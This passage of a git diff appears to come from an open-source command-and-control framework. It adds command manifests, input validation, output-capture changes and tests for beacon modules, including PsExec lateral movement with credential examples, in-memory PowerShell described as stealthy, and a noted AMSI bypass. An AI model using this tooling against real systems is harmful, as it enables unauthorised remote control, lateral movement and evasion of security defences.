"requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [], + "examples": ["end"], + "source": "manifest" +} diff --git a/modules/ModuleCmd/CommandSpecs/common/help.json b/modules/ModuleCmd/CommandSpecs/common/help.json new file mode 100644 index 0000000..85f78eb --- /dev/null +++ b/modules/ModuleCmd/CommandSpecs/common/help.json @@ -0,0 +1,25 @@ +{ + "name": "help", + "display_name": "help", + "kind": "common", + "description": "Show available commands or command-specific help in the beacon console.", + "command_template": "help {command?}", + "target": "operator", + "requires_session": false, + "platforms": ["any"], + "archs": ["any"], + "args": [ + { + "name": "command", + "type": "text", + "required": false, + "description": "Optional command name." + } + ], + "examples": [ + "help", + "help loadModule", + "help listener" + ], + "source": "manifest" +} diff --git a/modules/ModuleCmd/CommandSpecs/common/listModule.json b/modules/ModuleCmd/CommandSpecs/common/listModule.json new file mode 100644 index 0000000..abed9fa --- /dev/null +++ b/modules/ModuleCmd/CommandSpecs/common/listModule.json @@ -0,0 +1,14 @@ +{ + "name": "listModule", + "display_name": "listModule", + "kind": "common", + "description": "List modules currently tracked for the active beacon session.", + "command_template": "listModule", + "target": "operator", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [], + "examples": ["listModule"], + "source": "manifest" +} diff --git a/modules/ModuleCmd/CommandSpecs/common/listener.json b/modules/ModuleCmd/CommandSpecs/common/listener.json new file mode 100644 index 0000000..df721ed --- /dev/null +++ b/modules/ModuleCmd/CommandSpecs/common/listener.json @@ -0,0 +1,45 @@ +{ + "name": "listener", + "display_name": "listener", + "kind": "common", + "description": "Start or stop a TCP/SMB listener on the beacon.", + "command_template": "listener {action} {type_or_hash} {host_or_pipe:q?} {tcp_port?}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "action", + "type": "enum", + "required": true, + "description": "Listener action.", + "values": ["start", "stop"] + }, + { + "name": "type_or_hash", + "type": "text", + "required": true, + "description": "Listener type for start, or listener hash for stop.", + "values": ["tcp", "smb"] + }, + { + "name": "host_or_pipe", + "type": "text", + "required": false, + "description": "TCP host/IP for start tcp, or SMB pipe name for start smb." + }, + { + "name": "tcp_port", + "type": "text", + "required": false, + "description": "TCP port for start tcp. Not used for SMB." + } + ], + "examples": [ + "listener start tcp 10.2.4.8 4444", + "listener start smb pipe1", + "listener stop " + ], + "source": "manifest" +} diff --git a/modules/ModuleCmd/CommandSpecs/common/loadModule.json b/modules/ModuleCmd/CommandSpecs/common/loadModule.json new file mode 100644 index 0000000..ceec132 --- /dev/null +++ b/modules/ModuleCmd/CommandSpecs/common/loadModule.json @@ -0,0 +1,31 @@ +{ + "name": "loadModule", + "display_name": "loadModule", + "kind": "common", + "description": "Load a beacon module into the current session.", + "command_template": "loadModule {module:q}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["x86", "x64", "arm64", "any"], + "args": [ + { + "name": "module", + "type": "artifact", + "required": true, + "description": "Module artifact compatible with the current session.", + "artifact_filter": { + "category": "module", + "target": "beacon", + "platform": "session.platform", + "arch": "session.arch", + "runtime": "native" + } + } + ], + "examples": [ + "loadModule Inject.dll", + "loadModule pwd" + ], + "source": "manifest" +} diff --git a/modules/ModuleCmd/CommandSpecs/common/sleep.json b/modules/ModuleCmd/CommandSpecs/common/sleep.json new file mode 100644 index 0000000..94b0806 --- /dev/null +++ b/modules/ModuleCmd/CommandSpecs/common/sleep.json @@ -0,0 +1,21 @@ +{ + "name": "sleep", + "display_name": "sleep", + "kind": "common", + "description": "Set the beacon sleep interval in seconds.", + "command_template": "sleep {seconds}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "seconds", + "type": "number", + "required": true, + "description": "Sleep interval in seconds." + } + ], + "examples": ["sleep 0.5"], + "source": "manifest" +} diff --git a/modules/ModuleCmd/CommandSpecs/common/unloadModule.json b/modules/ModuleCmd/CommandSpecs/common/unloadModule.json new file mode 100644 index 0000000..86ac8ef --- /dev/null +++ b/modules/ModuleCmd/CommandSpecs/common/unloadModule.json @@ -0,0 +1,24 @@ +{ + "name": "unloadModule", + "display_name": "unloadModule", + "kind": "common", + "description": "Unload a previously loaded beacon module from the current session.", + "command_template": "unloadModule {module_name}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "module_name", + "type": "text", + "required": true, + "description": "Loaded module command name." + } + ], + "examples": [ + "unloadModule pwd", + "unloadModule assemblyExec" + ], + "source": "manifest" +} diff --git a/modules/ModuleCmd/CommonCommand.hpp b/modules/ModuleCmd/CommonCommand.hpp index 3b7f622..c267d18 100644 --- a/modules/ModuleCmd/CommonCommand.hpp +++ b/modules/ModuleCmd/CommonCommand.hpp @@ -1,5 +1,7 @@ #pragma once +#include +#include #include #include #include @@ -44,6 +46,46 @@ const std::string CmdStatusSuccess = "Success"; const std::string CmdStatusFail = "Fail"; const std::string CmdModuleNotFound = "Module not loaded"; +static inline bool parseTcpListenerPort(const std::string& value, int& port) +{ + if (value.empty()) + return false; + + std::size_t parsed = 0; + try + { + int parsedPort = std::stoi(value, &parsed); + if (parsed != value.size() || parsedPort < 1 || parsedPort > 65535) + return false; + port = parsedPort; + return true; + } + catch (const std::exception&) + { + return false; + } +} + +static inline bool parseSleepSeconds(const std::string& value, float& seconds) +{ + if (value.empty()) + return false; + + std::size_t parsed = 0; + try + { + float parsedSeconds = std::stof(value, &parsed); + if (parsed != value.size() || !std::isfinite(parsedSeconds) || parsedSeconds < 0.0f) + return false; + seconds = parsedSeconds; + return true; + } + catch (const std::exception&) + { + return false; + } +} + #ifdef BUILD_TEAMSERVER @@ -131,8 +173,9 @@ class CommonCommands output += " Examples:\n"; output += " - listener start tcp \n"; output += " - listener start tcp 10.2.4.8 4444\n"; - output += " - listener start smb \n"; - output += " - listener start smb pipename\n"; + output += " Port must be an integer between 1 and 65535.\n"; + output += " - listener start smb \n"; + output += " - listener start smb pipe1\n"; } else if (cmd == LoadC2ModuleCmd) { @@ -173,14 +216,10 @@ class CommonCommands { if(splitedCmd.size()==2) { - float sleepTimeSec=5; - try + float sleepTimeSec=0.0f; + if (!parseSleepSeconds(splitedCmd[1], sleepTimeSec)) { - sleepTimeSec = atof(splitedCmd[1].c_str()); - } - catch (const std::invalid_argument& ia) - { - std::cerr << "Invalid argument: " << ia.what() << '\n'; + c2Message.set_returnvalue("Error: Invalid sleep interval. Expected a numeric value greater than or equal to 0."); return -1; } c2Message.set_instruction(SleepCmd); @@ -214,13 +253,9 @@ class CommonCommands { std::string host = splitedCmd[3]; int port=-1; - try + if (!parseTcpListenerPort(splitedCmd[4], port)) { - port = std::atoi(splitedCmd[4].c_str()); - } - catch (const std::invalid_argument& ia) - { - std::cerr << "Invalid argument: " << ia.what() << '\n'; + c2Message.set_returnvalue("Error: Invalid TCP listener port. Expected an integer between 1 and 65535."); return -1; } @@ -243,15 +278,14 @@ class CommonCommands } else if(splitedCmd[1]==StartInstruction && splitedCmd[2]==ListenerSmbType) { - if(splitedCmd.size()==5) + if(splitedCmd.size()==4) { - std::string host = splitedCmd[3]; - std::string pipeName = splitedCmd[4]; + std::string pipeName = splitedCmd[3]; std::string cmd = StartCmd; cmd+=" "; cmd+=ListenerSmbType; cmd+=" "; - cmd+=host; + cmd+="beacon"; cmd+=" "; cmd+=pipeName; c2Message.set_instruction(ListenerCmd); @@ -259,7 +293,7 @@ class CommonCommands } else { - std::string errorMsg = "listener smb start: not enough arguments"; + std::string errorMsg = "Usage: listener start smb "; c2Message.set_returnvalue(errorMsg); return -1; } @@ -299,6 +333,11 @@ class CommonCommands if(!input && !isWindows) { std::string newInputFile = m_linuxModulesDirectoryPath; + if (!windowsArch.empty()) + { + newInputFile += windowsArch; + newInputFile += "/"; + } newInputFile+=inputFile; input.open(newInputFile, std::ios::binary); resolvedModulePath = newInputFile; diff --git a/modules/ModuleCmd/ModuleCmd.hpp b/modules/ModuleCmd/ModuleCmd.hpp index 4214a0a..d9860d5 100644 --- a/modules/ModuleCmd/ModuleCmd.hpp +++ b/modules/ModuleCmd/ModuleCmd.hpp @@ -14,6 +14,17 @@ #include +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) +struct ModulePreparedShellcodeTask +{ + std::string inputFile; + std::string payload; + std::string executionMode; + std::string displayCommand; + int pid = -1; +}; +#endif + enum OSCompatibility { OS_NONE = 0, @@ -104,6 +115,14 @@ public: // if an error ocurre: // set_returnvalue(errorMsg) && return -1 virtual int init(std::vector& splitedCmd, C2Message& c2Message) = 0; +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) + virtual int initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message) + { + (void)task; + c2Message.set_returnvalue("Prepared shellcode tasks are not supported by this module."); + return -1; + }; +#endif virtual int initConfig(const nlohmann::json &config) {return 0;}; virtual int process(C2Message& c2Message, C2Message& c2RetMessage) = 0; virtual int followUp(const C2Message &c2RetMessage) {return 0;}; diff --git a/modules/ModuleCmd/Tools.hpp b/modules/ModuleCmd/Tools.hpp index a1f6590..d97c7e8 100644 --- a/modules/ModuleCmd/Tools.hpp +++ b/modules/ModuleCmd/Tools.hpp @@ -1,7 +1,9 @@ -#pragma once - -#include -#include +#pragma once + +#include +#include +#include +#include #ifdef __linux__ #include @@ -478,22 +480,32 @@ int static inline patchAmsiPowershell() } -class StdCapture -{ -public: - StdCapture(): m_capturing(false), m_init(false), m_oldStdOut(0), m_oldStdErr(0) - { - m_pipe[READ] = 0; - m_pipe[WRITE] = 0; - if (_pipe(m_pipe, 1048576, O_BINARY) == -1) - return; - m_oldStdOut = dup(fileno(stdout)); - m_oldStdErr = dup(fileno(stderr)); - if (m_oldStdOut == -1 || m_oldStdErr == -1) - return; - - m_init = true; - } +class StdCapture +{ +public: + StdCapture(): m_capturing(false), m_init(false), m_oldStdOut(0), m_oldStdErr(0), + m_oldStdOutHandle(INVALID_HANDLE_VALUE), m_oldStdErrHandle(INVALID_HANDLE_VALUE), + m_pipeReadHandle(INVALID_HANDLE_VALUE), m_pipeWriteHandle(INVALID_HANDLE_VALUE) + { + m_pipe[READ] = 0; + m_pipe[WRITE] = 0; + if (_pipe(m_pipe, 1048576, O_BINARY) == -1) + return; + m_oldStdOut = dup(fileno(stdout)); + m_oldStdErr = dup(fileno(stderr)); + if (m_oldStdOut == -1 || m_oldStdErr == -1) + return; + + m_pipeReadHandle = reinterpret_cast(_get_osfhandle(m_pipe[READ])); + m_pipeWriteHandle = reinterpret_cast(_get_osfhandle(m_pipe[WRITE])); + if (m_pipeReadHandle == INVALID_HANDLE_VALUE || m_pipeWriteHandle == INVALID_HANDLE_VALUE) + return; + + m_oldStdOutHandle = GetStdHandle(STD_OUTPUT_HANDLE); + m_oldStdErrHandle = GetStdHandle(STD_ERROR_HANDLE); + + m_init = true; + } ~StdCapture() { @@ -512,55 +524,60 @@ public: } - void BeginCapture() - { - if (!m_init) - return; - if (m_capturing) - EndCapture(); - fflush(stdout); - fflush(stderr); - dup2(m_pipe[WRITE], fileno(stdout)); - dup2(m_pipe[WRITE], fileno(stderr)); - m_capturing = true; - } - - bool EndCapture() - { - if (!m_init) - return false; - if (!m_capturing) - return false; - fflush(stdout); - fflush(stderr); - dup2(m_oldStdOut, fileno(stdout)); - dup2(m_oldStdErr, fileno(stderr)); - m_captured.clear(); - - std::string buf; - const int bufSize = 1024; - buf.resize(bufSize); - int bytesRead = 0; - if (!eof(m_pipe[READ])) - { - bytesRead = read(m_pipe[READ], &(*buf.begin()), bufSize); - } - while(bytesRead == bufSize) - { - m_captured += buf; - bytesRead = 0; - if (!eof(m_pipe[READ])) - { - bytesRead = read(m_pipe[READ], &(*buf.begin()), bufSize); - } - } - if (bytesRead > 0) - { - buf.resize(bytesRead); - m_captured += buf; - } - return true; - } + void BeginCapture() + { + if (!m_init) + return; + if (m_capturing) + EndCapture(); + m_captured.clear(); + fflush(stdout); + fflush(stderr); + dup2(m_pipe[WRITE], fileno(stdout)); + dup2(m_pipe[WRITE], fileno(stderr)); + SetStdHandle(STD_OUTPUT_HANDLE, m_pipeWriteHandle); + SetStdHandle(STD_ERROR_HANDLE, m_pipeWriteHandle); + m_capturing = true; + } + + void DrainCapture() + { + if (!m_init || m_pipeReadHandle == INVALID_HANDLE_VALUE) + return; + + for (;;) + { + DWORD bytesAvailable = 0; + if (!PeekNamedPipe(m_pipeReadHandle, NULL, 0, NULL, &bytesAvailable, NULL) || bytesAvailable == 0) + break; + + const int bytesToRead = static_cast(std::min(bytesAvailable, 4096)); + std::string buf; + buf.resize(bytesToRead); + const int bytesRead = read(m_pipe[READ], &(*buf.begin()), bytesToRead); + if (bytesRead <= 0) + break; + buf.resize(bytesRead); + m_captured += buf; + } + } + + bool EndCapture() + { + if (!m_init) + return false; + if (!m_capturing) + return false; + fflush(stdout); + fflush(stderr); + dup2(m_oldStdOut, fileno(stdout)); + dup2(m_oldStdErr, fileno(stderr)); + SetStdHandle(STD_OUTPUT_HANDLE, m_oldStdOutHandle); + SetStdHandle(STD_ERROR_HANDLE, m_oldStdErrHandle); + DrainCapture(); + m_capturing = false; + return true; + } std::string GetCapture() const { @@ -578,12 +595,16 @@ public: private: enum PIPES { READ, WRITE }; int m_pipe[2]; - int m_oldStdOut; - int m_oldStdErr; - bool m_capturing; - bool m_init; - std::string m_captured; -}; + int m_oldStdOut; + int m_oldStdErr; + HANDLE m_oldStdOutHandle; + HANDLE m_oldStdErrHandle; + HANDLE m_pipeReadHandle; + HANDLE m_pipeWriteHandle; + bool m_capturing; + bool m_init; + std::string m_captured; +}; // https://www.codeproject.com/Tips/139349/Getting-the-address-of-a-function-in-a-DLL-loaded diff --git a/modules/Netstat/netstat.json b/modules/Netstat/netstat.json new file mode 100644 index 0000000..36b86ff --- /dev/null +++ b/modules/Netstat/netstat.json @@ -0,0 +1,14 @@ +{ + "name": "netstat", + "display_name": "netstat", + "kind": "module", + "description": "Show active network connections on the beacon.", + "command_template": "netstat", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [], + "examples": ["netstat"], + "source": "manifest" +} diff --git a/modules/Powershell/Powershell.cpp b/modules/Powershell/Powershell.cpp index 20837d5..5344a6a 100644 --- a/modules/Powershell/Powershell.cpp +++ b/modules/Powershell/Powershell.cpp @@ -199,6 +199,7 @@ std::string Powershell::getInfo() info += "To be sure to get the output of the commande do 'cmd | write-output'.\n"; info += "You can import module using -i, added as New-Module at every execution.\n"; info += "You run scripts using -s.\n"; + info += "Script files for -i and -s are resolved from Scripts/Windows or Scripts/Any.\n"; info += "AMSI bypass by patching the amsi.dll will work once for all.\n"; info += "exemple:\n"; info += " - powershell whoami | write-output\n"; @@ -265,7 +266,7 @@ int Powershell::init(std::vector &splitedCmd, C2Message &c2Message) { payload += "Invoke-Command -ScriptBlock {\n"; payload += fileContent; - payload += "};"; + payload += "\n};"; } c2Message.set_data(payload.data(), payload.size()); @@ -296,12 +297,31 @@ int Powershell::process(C2Message &c2Message, C2Message &c2RetMessage) m_modulesToImport+=buffer; std::string outCmd = execPowershell(m_modulesToImport); - c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_instruction(c2Message.instruction()); c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue(outCmd); return 0; } + if(splitedCmd[0]=="-s") + { + const std::string buffer = c2Message.data(); + if (buffer.empty()) + { + c2RetMessage.set_instruction(c2Message.instruction()); + c2RetMessage.set_cmd(cmd); + c2RetMessage.set_returnvalue("Missing PowerShell script payload."); + return 0; + } + + std::string finalCmd = m_modulesToImport; + finalCmd += buffer; + std::string outCmd = execPowershell(finalCmd); + c2RetMessage.set_instruction(c2Message.instruction()); + c2RetMessage.set_cmd(cmd); + c2RetMessage.set_returnvalue(outCmd); + return 0; + } } std::string finalCmd = m_modulesToImport; @@ -309,7 +329,7 @@ int Powershell::process(C2Message &c2Message, C2Message &c2RetMessage) std::string outCmd = execPowershell(finalCmd); - c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_instruction(c2Message.instruction()); c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue(outCmd); @@ -416,6 +436,10 @@ std::string Powershell::execPowershell(const std::string& cmd) #ifdef __linux__ +#if defined(C2CORE_BUILD_TESTS) + result = cmd; +#endif + #elif _WIN32 diff --git a/modules/Powershell/powershell.json b/modules/Powershell/powershell.json new file mode 100644 index 0000000..a9eef5b --- /dev/null +++ b/modules/Powershell/powershell.json @@ -0,0 +1,54 @@ +{ + "name": "powershell", + "display_name": "powershell", + "kind": "module", + "description": "Execute a PowerShell command, import a script module, or run a TeamServer-managed script artifact.", + "command_template": "powershell [-i {i:q}] [-s {s:q}] {command:raw?}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "-i", + "type": "flag", + "required": false, + "description": "Import a PowerShell script artifact as a module.", + "artifact_filter": { + "category": "script", + "scope": "server", + "target": "beacon", + "platform": "windows", + "runtime": "powershell", + "name_contains": ".ps1" + } + }, + { + "name": "-s", + "type": "flag", + "required": false, + "description": "Run a PowerShell script artifact.", + "artifact_filter": { + "category": "script", + "scope": "server", + "target": "beacon", + "platform": "windows", + "runtime": "powershell", + "name_contains": ".ps1" + } + }, + { + "name": "command", + "type": "text", + "required": false, + "description": "Inline PowerShell command.", + "variadic": true + } + ], + "examples": [ + "powershell whoami | write-output", + "powershell -i PowerView.ps1", + "powershell -s collect.ps1" + ], + "source": "manifest" +} diff --git a/modules/Powershell/tests/testsPowershell.cpp b/modules/Powershell/tests/testsPowershell.cpp index 2364eb7..c83d28f 100644 --- a/modules/Powershell/tests/testsPowershell.cpp +++ b/modules/Powershell/tests/testsPowershell.cpp @@ -96,6 +96,36 @@ int main() std::filesystem::remove(script); } + { + Powershell module; + C2Message message; + message.set_instruction("powershell"); + message.set_cmd("-s missing-payload.ps1 "); + C2Message retMessage; + + ok &= expect(module.process(message, retMessage) == 0, "script command without payload should process"); + ok &= expect(retMessage.instruction() == "powershell", "script command without payload should preserve instruction"); + ok &= expect(retMessage.cmd() == message.cmd(), "script command without payload should preserve command"); + ok &= expectContains(retMessage.returnvalue(), "Missing PowerShell script payload", "script command without payload should explain failure"); + } + +#if defined(__linux__) && defined(C2CORE_BUILD_TESTS) + { + Powershell module; + C2Message message; + message.set_instruction("powershell"); + message.set_cmd("-s testScript.ps1 "); + message.set_data("Invoke-Command -ScriptBlock {\nWrite-Output \"script-process-ok\"\n};"); + C2Message retMessage; + + ok &= expect(module.process(message, retMessage) == 0, "script payload should process"); + ok &= expect(retMessage.instruction() == "powershell", "script payload should preserve instruction"); + ok &= expect(retMessage.cmd() == message.cmd(), "script payload should preserve display command"); + ok &= expectContains(retMessage.returnvalue(), "script-process-ok", "script payload should be the executed command"); + ok &= expect(retMessage.returnvalue().find("-s testScript.ps1") == std::string::npos, "script payload should not execute the -s display command"); + } +#endif + #ifdef _WIN32 { Powershell module; @@ -134,6 +164,21 @@ int main() std::filesystem::remove(script); } + + { + const auto script = writeTempFile("c2core_powershell_exec_script.ps1", "Write-Output \"script-exec-ok\"\n"); + Powershell module; + std::vector cmd = {"powershell", "-s", script.string()}; + C2Message message; + C2Message retMessage; + + ok &= expect(module.init(cmd, message) == 0, "script execution file should be accepted"); + ok &= expect(module.process(message, retMessage) == 0, "script execution file should process"); + ok &= expectContains(retMessage.returnvalue(), "script-exec-ok", "script execution output should be captured"); + ok &= expect(retMessage.cmd() == message.cmd(), "script execution return message should preserve command"); + + std::filesystem::remove(script); + } #endif return ok ? 0 : 1; diff --git a/modules/PrintWorkingDirectory/pwd.json b/modules/PrintWorkingDirectory/pwd.json new file mode 100644 index 0000000..7f34bce --- /dev/null +++ b/modules/PrintWorkingDirectory/pwd.json @@ -0,0 +1,14 @@ +{ + "name": "pwd", + "display_name": "pwd", + "kind": "module", + "description": "Print the current working directory on the beacon.", + "command_template": "pwd", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [], + "examples": ["pwd"], + "source": "manifest" +} diff --git a/modules/PsExec/PsExec.cpp b/modules/PsExec/PsExec.cpp index 9e096eb..5dd7189 100644 --- a/modules/PsExec/PsExec.cpp +++ b/modules/PsExec/PsExec.cpp @@ -120,12 +120,13 @@ std::string PsExec::getInfo() info += " * You can wrap arbitrary binaries with a service wrapper (e.g. nssm) if you need to run non-service executables as services.\n"; info += "- The module uses a short-lived service: the service is expected to stop within ~2 seconds and will be deleted after stopping.\n"; info += " * Therefore the executable launched by the service MUST NOT perform long-running tasks inside the service process (it should perform a quick action and exit).\n"; - info += "- Authentication: provide explicit credentials (-u/-p) or use Kerberos (-k) / current token (-n) as appropriate.\n"; + info += "- Authentication: provide explicit credentials (-u) or use Kerberos (-k) / current token (-n) as appropriate.\n"; + info += "- The service executable is resolved by the TeamServer from Tools first, then UploadedArtifacts.\n"; info += "\nExamples:\n"; - info += "- psExec -u DOMAIN\\\\Username Password m3dc.cyber.local /tmp/implant.exe\n"; - info += "- psExec -k m3dc.cyber.local /tmp/implant.exe\n"; - info += "- psExec -n m3dc.cyber.local /tmp/implant.exe\n"; - info += "- psExec -n 10.9.20.10 /tmp/implant.exe\n"; + info += "- psExec -u DOMAIN\\\\Username Password m3dc.cyber.local service.exe\n"; + info += "- psExec -k m3dc.cyber.local service.exe\n"; + info += "- psExec -n m3dc.cyber.local service.exe\n"; + info += "- psExec -n 10.9.20.10 service.exe\n"; #endif return info; } @@ -576,4 +577,3 @@ int PsExec::errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) #endif return 0; } - diff --git a/modules/PsExec/psExec.json b/modules/PsExec/psExec.json new file mode 100644 index 0000000..98ee076 --- /dev/null +++ b/modules/PsExec/psExec.json @@ -0,0 +1,70 @@ +{ + "name": "psExec", + "display_name": "psExec", + "kind": "module", + "description": "Copy and run a service executable on a remote Windows host. The service executable is resolved from Tools first, then UploadedArtifacts.", + "command_template": "psExec {auth_mode} {username:q?} {password:q?} {target:q} {service_artifact:q}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "auth_mode", + "type": "enum", + "required": true, + "description": "Authentication mode.", + "values": ["-u", "-k", "-n"] + }, + { + "name": "username", + "type": "text", + "required": false, + "description": "DOMAIN\\Username for -u mode." + }, + { + "name": "password", + "type": "text", + "required": false, + "description": "Password for -u mode." + }, + { + "name": "target", + "type": "text", + "required": true, + "description": "Target host name or IP." + }, + { + "name": "service_artifact", + "type": "artifact", + "required": true, + "description": "Service executable artifact from Tools or UploadedArtifacts.", + "artifact_filters": [ + { + "category": "tool", + "scope": "server", + "target": "teamserver", + "platform": "windows", + "arch": "session.arch", + "runtime": "any", + "name_contains": ".exe" + }, + { + "category": "upload", + "scope": "operator", + "target": "beacon", + "platform": "session.platform", + "arch": "session.arch", + "runtime": "file", + "name_contains": ".exe" + } + ] + } + ], + "examples": [ + "psExec -u DOMAIN\\Username Password123! fileserver service.exe", + "psExec -k fileserver service.exe", + "psExec -n fileserver service.exe" + ], + "source": "manifest" +} diff --git a/modules/PwSh/CMakeLists.txt b/modules/PwSh/CMakeLists.txt index 7f0dc78..23b692b 100644 --- a/modules/PwSh/CMakeLists.txt +++ b/modules/PwSh/CMakeLists.txt @@ -12,9 +12,14 @@ else() endif() set_property(TARGET PwSh PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") target_link_libraries(PwSh ) -add_custom_command(TARGET PwSh POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy -$ "${C2_RUNTIME_MODULE_OUTPUT_DIR}/$") - +add_custom_command(TARGET PwSh POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy +$ "${C2_RUNTIME_MODULE_OUTPUT_DIR}/$") +add_custom_command(TARGET PwSh POST_BUILD + COMMAND ${CMAKE_COMMAND} -E make_directory "${C2_RUNTIME_ROOT}/data/Tools/Any/any" + COMMAND ${CMAKE_COMMAND} -E copy_if_different + "${CMAKE_CURRENT_SOURCE_DIR}/PowerShellRunner/rdm.dll" + "${C2_RUNTIME_ROOT}/data/Tools/Any/any/rdm.dll") + if(C2CORE_BUILD_TESTS) if(WIN32) add_executable(testsPwSh tests/testsPwSh.cpp PwSh.cpp HostControl.cpp AssemblyManager.cpp AssemblyStore.cpp HostMalloc.cpp MemoryManager.cpp ../ModuleCmd/syscall.cpp ${SYSCALL_OBJ}) @@ -24,7 +29,7 @@ if(C2CORE_BUILD_TESTS) # add_executable(testsPwSh WIN32 tests/testsPwSh.cpp PwSh.cpp HostControl.cpp AssemblyManager.cpp AssemblyStore.cpp HostMalloc.cpp MemoryManager.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj) target_link_libraries(testsPwSh ) set_property(TARGET testsPwSh PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") - add_custom_command(TARGET testsPwSh POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy + add_custom_command(TARGET testsPwSh POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy $ "${C2_TEST_BIN_OUTPUT_DIR}/$") add_test(NAME testsPwSh COMMAND "${C2_TEST_BIN_OUTPUT_DIR}/$") diff --git a/modules/PwSh/PwSh.cpp b/modules/PwSh/PwSh.cpp index 833cab2..cb547e9 100644 --- a/modules/PwSh/PwSh.cpp +++ b/modules/PwSh/PwSh.cpp @@ -158,35 +158,32 @@ std::string PwSh::getInfo() info += "This module allows you to load and execute a custom PowerShell instance entirely in memory.\n"; info += "The execution occurs within the current process.\n\n"; - info += "Usage:\n"; - info += " pwSh init \n"; - info += " - Arguments are optional. If not provided, the default PowerShell instance DLL will be loaded.\n"; - info += " - The DLL must implment this methode: \"public string Invoke(string command)\".\n"; - info += " - Loads the PowerShell .NET assembly DLL into memory.\n"; - info += " - For DLLs, you must specify the fully qualified type name (e.g., Namespace.ClassName).\n\n"; + info += "Usage:\n"; + info += " pwSh init\n"; + info += " - Loads the fixed PowerShell runner DLL from Tools/Any/any/rdm.dll.\n"; + info += " - The runner type is fixed to rdm.rdm and must implement Invoke(string command).\n\n"; info += " pwSh run \n"; info += " - Executes the given PowerShell command.\n\n"; - info += " pwSh import \n"; - info += " - Import the powersehll module (e.g., PowerView.ps1)\n\n"; + info += " pwSh import \n"; + info += " - Import the powersehll module from Scripts/Windows or Scripts/Any (e.g., PowerView.ps1)\n\n"; + + info += " pwSh script \n"; + info += " - execute the powersehll script from Scripts/Windows or Scripts/Any.\n\n"; - info += " pwSh script \n"; - info += " - execute the powersehll script.\n\n"; - - info += "Examples:\n"; - info += " pwSh init\n"; - info += " pwSh init customPS.dll CustomPS.PowerShell\n\n"; - info += " pwSh run whoami\n"; - info += " pwSh run $x = 4; Write-Output $x\n\n"; + info += "Examples:\n"; + info += " pwSh init\n"; + info += " pwSh run whoami\n"; + info += " pwSh run $x = 4; Write-Output $x\n\n"; info += "Notes:\n"; info += " - Assemblies are kept in memory and can be reused without reloading.\n"; info += " - Ensure the correct type and method names are specified when using custom DLLs.\n"; info += " - This module avoids writing files to disk, enhancing stealth.\n"; - info += " - If you run 'init' in a process where the CLR is already loaded, you may encounter:\n"; - info += " 'Failed: DefaultAppDomain - Load_2'.\n"; + info += " - If you run 'init' in a process with an incompatible CLR/AppDomain already loaded,\n"; + info += " initialize PwSh from a fresh beacon process or a process without that CLR context.\n"; #endif return info; } @@ -945,8 +942,8 @@ int PwSh::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) errorMsg = "Failed: IdentityManagerProc"; else if(errorCode==ERROR_LOAD_ASSEMLBY_2) errorMsg = "Failed: IdentityMnaager - GetBindingIdentityFromStream"; - else if(errorCode==ERROR_LOAD_ASSEMLBY_3) - errorMsg = "Failed: DefaultAppDomain - Load_2"; + else if(errorCode==ERROR_LOAD_ASSEMLBY_3) + errorMsg = "Failed: PwSh runner assembly could not be loaded in the current CLR AppDomain. This usually means the beacon process already has an incompatible CLR/AppDomain context; retry from a fresh beacon process or a process without an existing conflicting CLR. Original stage: DefaultAppDomain - Load_2"; else if(errorCode==ERROR_LOAD_ASSEMLBY_4) errorMsg = "Failed: DefaultAppDomain - Load_3"; else if(errorCode==ERROR_LOAD_ASSEMLBY_5) diff --git a/modules/PwSh/pwSh.json b/modules/PwSh/pwSh.json new file mode 100644 index 0000000..2ca286a --- /dev/null +++ b/modules/PwSh/pwSh.json @@ -0,0 +1,49 @@ +{ + "name": "pwSh", + "display_name": "pwSh", + "kind": "module", + "description": "Initialize and use the in-memory PowerShell runner. The runner DLL is fixed to Tools/Any/any/rdm.dll.", + "command_template": "pwSh {action} {command_or_script:q?} {arguments:raw?}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "action", + "type": "enum", + "required": true, + "description": "PwSh action.", + "values": ["init", "run", "import", "script"] + }, + { + "name": "command_or_script", + "type": "text", + "required": false, + "description": "PowerShell command for run, or script artifact for import/script.", + "artifact_filter": { + "category": "script", + "scope": "server", + "target": "beacon", + "platform": "windows", + "runtime": "powershell", + "name_contains": ".ps1" + }, + "completion_parents": ["import", "script"] + }, + { + "name": "arguments", + "type": "text", + "required": false, + "description": "Optional PowerShell command tail.", + "variadic": true + } + ], + "examples": [ + "pwSh init", + "pwSh run whoami", + "pwSh import PowerView.ps1", + "pwSh script collect.ps1" + ], + "source": "manifest" +} diff --git 